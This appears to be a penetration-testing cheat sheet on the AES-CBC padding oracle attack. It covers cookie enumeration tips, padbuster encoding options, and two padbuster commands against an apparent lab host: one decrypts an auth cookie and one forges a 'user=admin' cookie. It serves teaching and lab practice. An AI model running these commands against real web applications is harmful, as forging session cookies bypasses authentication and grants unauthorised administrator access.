AES-CBC Padding Oracle Attack

Enumeration

Cookies

• Try appending characters to the cookie to see how padding errors change.

• Check if the cookie length is a multiple of the block size (16 bytes for AES) to confirm block cipher usage.

Padbuster

Encoding

• 0 -> Base64

• 1 -> Lower Hex

• 2 -> Upper Hex

• 3 -> NET UrlToken

• 4 -> WebSafe Base64

Block-Size

• 8

• 16

Decrypt

padbuster http://10.10.10.18/index.php xZppyvnbCmlM%2BgjyBRADsRODCgiRTQ4%2B 8 -cookies auth=xZppyvnbCmlM%2BgjyBRADsRODCgiRTQ4%2B -encoding 0

Encrypting user=admin will produce a valid auth cookie:

padbuster http://10.10.10.18/index.php xZppyvnbCmlM%2BgjyBRADsRODCgiRTQ4%2B 8 -cookies auth=xZppyvnbCmlM%2BgjyBRADsRODCgiRTQ4%2B -encoding 0 -plaintext user=admin 

The Padding Oracle Attack | Robert HeatonRobert Heaton

GitHub - glebarez/padre: Blazing fast, advanced Padding Oracle exploitGitHub